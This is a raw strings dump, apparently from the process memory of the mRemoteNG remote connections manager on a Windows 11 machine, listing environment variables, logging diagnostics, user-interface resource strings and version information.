PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS Setting Property [ConversionPattern] to String value [%date [%thread] %-6level- %message%newline] 2147483647 Converter [date] Option [] Format [min=-1,max=2147483647,leftAlign=F ISO8601 ABSOLUTE DATE Could not instantiate SimpleDateFormatter with [ 2147483647 Converter [literal] Option [ [] Format [min=-1,max=2147483647,leftAlign=Fa 2147483647 Converter [thread] Option [] Format [min=-1,max=2147483647,leftAlign=F 2147483647 Converter [literal] Option [] ] Format [min=-1,max=2147483647,leftAlign=Fa 2147483647 Converter [level] Option [] Format [min=6,max=2147483647,leftAlign=T INFO 2147483647 Converter [literal] Option [- ] Format [min=-1,max=2147483647,leftAlign=Fa 2147483647 Converter [message] Option [] Format [min=-1,max=2147483647,leftAlign=Fa 2147483647 Converter [newline] Option [] Format [min=-1,max=2147483647,leftAlign=False] log4net.Layout.PatternLayout Setting Property [Layout] to object [log4net.Layout.PatternLayout] Either DatePattern or rollingStyle options are not set for [ C:\Program Files (x86)\mRemo C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:_Users_job_AppData_Roaming_mRemoteNG_mRemoteNG.log C__Users_job_AppData_Roaming_mRemoteNG_mRemoteNG.log Output file [ ] already exists. MaxSizeRollBackups is 0; cannot roll. Overwriting existing file. ] already exists. Not appending to file. Rolling existing file out of the way. curSizeRollBackups starts at [ C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log mRemoteN Searched for existing files in [ C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG mRemoteN mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG mRemoteNG.log* mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log* mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log mRemoteNG.log mRemoteNG Searched for existing files in [C:\Users\job\AppData\Roaming\mRemoteNG] mremoteng.log mremoten Ignoring file [ ] because it is from a different date period File name [ ] moves current count to [ Encountered a backup file not ending in .x [ mremoteng curSizeRollBackups starts at ] vs. [ Initial roll over to [ curSizeRollBackups after rollOver at [ FileAppender: File option not set for appender [ FileAppender: Are you using FileAppender instead of ConsoleAppender? C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG OpenFile( ) call failed. RollingFileAppender: INTERNAL ERROR. Append is False but OutputFile [ ] already exists. C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log mRemoteN INTERNAL ERROR. OpenFile( ): File name is not fully qualified. Opening file for writing [ ] append [ Opening file for writing [C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log] append [ Unable to acquire lock on file C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log Created Appender [LogFileAppender] Adding appender named [LogFileAppender] to logger [r Hierarchy Threshold [] LogFilePath LogToApplicationDirectory .log mRemoteNG.log C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming\mRemoteNG mRemoteN C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log LogFileAppender C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG C:_Users_job_AppData_Roaming_mRemoteNG_mRemoteNG.log C__Users_job_AppData_Roaming_mRemoteNG_mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG mRemoteNG.log mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG mRemoteNG.log* mRemoteNG.log* C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log* mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log mRemoteNG.log mRemoteNG Searched for existing files in [C:\Users\job\AppData\Roaming\mRemoteNG] mremoteng.log mremoteng.log mremoteng curSizeRollBackups starts at [0] C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\ C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log mRemoteN Could not close writer [ Opening file for writing [C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log] append [True] C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemo mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG 2026-02-24 09:07:24,886 [1] INFO - Checking Lenovo AutoScroll Utility... tates) mRemoteNG.exe Segoe UI _pGrid PropertyGridContextMenu _propertyGridContextMenuReset &Reset _toolStripSeparator1 _propertyGridContextMenuShowHelpText &Show Help Text _btnShowInheritance Inheritance _btnShowDefaultInheritance Default Inheritance _btnShowProperties Properties _btnShowDefaultProperties Default Properties _btnIcon _btnHostStatus checking Status CMenIcons ConfigWindow Config PropertyGridToolbarAccessibleName Property Grid PropertyGridToolBar Hot commands PropertyGrid PropertyGridView GridViewDebugPaint PropertyGridView: Debug property painting system.drawing.threaddata dotdotdot.ico Arrow.ico ToolBar .bmp PropertiesTab PropertiesTaX System.Windows.F System.Windows.Forms.PropertyGridInternal orms.PropertyGridInternal .PropertiesTab.bmp System.Windows.Forms.PropertyGridInternal.PropertiesTab.bmp PBRSToolTipProperties Properties PBRSToolTipAlphabetic PBRSToolTipCategorized PBRSToolTipPropertyPages alpha green blue PBAlpha.bmp System.Windows.F System.Windows.Forms orms.PBAlpha.bmp System.Windows.Forms.PBAlpha.bmp PBCatego.bmp System.Windows.F orms.PBCatego.bm System.Windows.Forms.PBCatego.bmp Alphabetical Categorized PBPPage.bmp System.Windows.F orms.PBPPage.bmp System.Windows.Forms.PBPPage.bmp Property Pages PBRSDocCommentPaneTitle Description Pane Command Pane NoSort Alphabetical Categorized CategorizedAlphabetical PropertiesCategorizedAlphabe Keyword SCROLLBAR PropertiesCategorizedAlphabe Segoe UI Segoe UI Segoe UI PropertiesCategorizedAlphabe \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Inheritance_Default Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Properties_Default Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing HostStatus_Check Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Config_Icon height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing pnlErrorMsg txtMsgText lblMsgDate pbError lvErrorCollector cMenMC cMenMCCopy cMenMCDelete Notifications SysListView32 PictureBox.Loading.bmp System.Windows.F System.Windows.Forms orms.PictureBox. Loading.bmp System.Windows.Forms.PictureBox.Loadin strColumnMessage Message \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Copy Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing None LButton RButton Cancel MButton XButton1 XButton2 Back LineFeed Clear Enter Return ShiftKey ControlKey Menu Pause CapsLock Capital HangulMode HanguelMode KanaMode JunjaMode FinalMode KanjiMode HanjaMode Escape IMEConvert IMENonconvert IMEAccept IMEAceept IMEModeChange Space Prior PageUp PageDown Next Home Left Right Down Select Print Execute Snapshot PrintScreen Insert Delete Help LWin RWin Apps Sleep NumPad0 NumPad1 NumPad2 NumPad3 NumPad4 NumPad5 NumPad6 NumPad7 NumPad8 NumPad9 Multiply Separator Subtract Decimal Divide NumLock Scroll LShiftKey RShiftKey LControlKey RControlKey LMenu RMenu BrowserBack BrowserForward BrowserRefresh BrowserStop BrowserSearch BrowserFavorites BrowserHome VolumeMute VolumeDown VolumeUp MediaNextTrack MediaPreviousTrack MediaStop MediaPlayPause LaunchMail SelectMedia LaunchApplication1 LaunchApplication2 OemSemicolon Oem1 Oemplus Oemcomma OemMinus OemPeriod Oem2 OemQuestion Oem3 Oemtilde Oem4 OemOpenBrackets OemPipe Oem5 OemCloseBrackets Oem6 OemQuotes Oem7 Oem8 Oem102 OemBackslash ProcessKey Packet Attn Crsel Exsel EraseEof Play Zoom NoName OemClear KeyCode Shift Control Modifiers Ctrl+C Ctrl+C Segoe UI Sego Sego Segoe UI \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 strMenuCopy Copy Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing strMenuDelete Delete... ColorDepth ImageSize ErrorsAndInfos_Resize (UI.Window.ErrorsAndInfos) failed LayoutHorizontal (UI.Window.ErrorsAndInfos) failed Info_Icon height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing LayoutVertical (UI.Window.ErrorsAndInfos) failed brick Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing WarningSmall Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing ErrorSmall Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing flpScreenshots MenuStrip1 &File mMenFileSaveAll Save All mMenFileRemoveAll Remove All cMenScreenshot cMenScreenshotCopy cMenScreenshotSave Save Graphics Interchange Format File (.gif)|*.gif|Joint Photographic Experts Group File (.jpeg)|*.jpeg|Joint Photographic Experts Group File (.jpg)|*.jpg|Portable Network Graphics File (.png)|*.png ScreenshotManager Screenshots \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 File Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Screenshot_Save Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Screenshot_Delete Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Screenshot_Copy Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Graphics Interchange Format File (.gif) *.gif Joint Photographic Experts Group File (.jpeg) *.jpeg Joint Photographic Experts Group File (.jpg) *.jpg Portable Network Graphics File (.png) *.png Screenshot_Icon height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing btnCheckForUpdate Check Again pnlUpdate lblChangeLogLabel Change Log: btnDownload Download and Install prgbDownload txtChangeLog lblStatus lblLatestVersionLabel Current version: lblInstalledVersionLabel Installed version: lblLatestVersion lblInstalledVersion pbUpdateImage UpdateWindow msctls_progress32 Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Sego Segoe UI hand.cur System.Windows.F System.Windows.Forms orms.hand.cur System.Windows.Forms.hand.cur Update_Icon height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing MessageBoxFont Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Sego Segoe UI Segoe UI All Files (*.*)|*.* grpFiles Files lblLocalFile Local file: txtLocalFile btnTransfer Transfer txtRemoteFile lblRemoteFile Remote file: btnBrowse Browse grpConnection Connection radProtSFTP SFTP radProtSCP lblProtocol Protocol: lblPassword Password: lblUser User: lblPort Port: lblHost Host: txtPort txtHost txtPassword txtUser pbStatus $this.Icon SSHTransferWindow SSH File Transfer SSHTransferWindow Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Checked Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif mRemoteNG mRemoteNG.resources SSHTransferWindow.en-US.resources SSHTransferWindow.en-US.resources mRemoteNG.UI.Win mRemoteNG.UI.Window dow.SSHTransferW indow.en-US.resources mRemoteNG.UI.Window.SSHTransferWindow.en-US.resources mRemoteNG.UI.Window.SSHTransferWindow.en-US.resources mRemoteNG.UI.Win dow.SSHTransferW indow.en-US.resources mRemoteNG.UI.Window.SSHTransferWindow.en-US.resources mRemoteNG.Resources.Language.Language.en-US.resources mRemoteNG.resources SSHTransferWindow.resources SSHTransferWindow.resources mRemoteNG.UI.Win dow.SSHTransferW indow.resources mRemoteNG.UI.Window.SSHTransferWindow.resources System.Resources.RuntimeResourceSetcorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.RuntimeResourceSet mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a34e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing All Files (*.*) \PuTTYNG.exe 1.0.0.0 C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG VS_VERSION_INFO VarFileInfo Translation StringFileInfo 000004b0 Comments Multi-protocol remote connections manager CompanyName FileDescription mRemoteNG FileVersion 1.76.20.24615 InternalName mRemoteNG.exe LegalCopyright Copyright 2019 mRemoteNG Dev Team; 2010-2013 Riley McArdle; 2007-2009 Felix Deimel LegalTrademarks OriginalFilename mRemoteNG.exe ProductName mRemoteNG ProductVersion 1.76.20.24615 Assembly Version 1.76.20.24615 000004B0 000004B0 \\StringFileInfo\\000004B0\\CompanyName \\StringFileInfo\\000004B0\\FileDescri mRemoteNG \\StringFileInfo\\000004B0\\FileVep 1.76.20.24615 \\StringFileInfo\\000004B0\\Internalt mRemoteNG.exe \\StringFileInfo\\000004B0\\LegalCopyrx Copyright 2019 mRemoteNG Dev Team; 2010-2013 Riley McArdle; 2007-2009 Felix Deimel \\StringFileInfo\\000004B0\\OriginalFile| mRemoteNG.exe \\StringFileInfo\\000004B0\\Producp mRemoteNG \\StringFileInfo\\000004B0\\ProductVerx 1.76.20.24615 \\StringFileInfo\\000004B0\\Comml Multi-protocol remote connections manager \\StringFileInfo\\000004B0\\LegalTrademarks \\StringFileInfo\\000004B0\\PrivateBuild \\StringFileInfo\\000004B0\\SpecialBuild Language Neutral Language Neutral Copyright 2019 mRemoteNG Dev Team; 2010-2013 Riley McArdle; 2007-2009 Felix Deimel C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG C:\Program Files (x86)\mRemoteNG C:\Program Files (x86)\mRemoteNG\PuTTYNG.exe \Icons\ UpdateUseProxy UpdateProxyAddress UpdateProxyPort UpdateProxyUseAuthentication UpdateProxyAuthUser UpdateProxyAuthPass C:\Program Files (x86)\mRemoteNG\Icons\ starting. mRemoteNG 1.76.20.< mRemoteNG 1.76.20.24615 starting. Local W. Europe Standard Time W. Europe Daylight Time W. Europe Standard Time W. Europe Daylightx W. Europe Standard Time HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones {0}\{1} SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time {0}\{1}\Dynamic DST FirstEntry 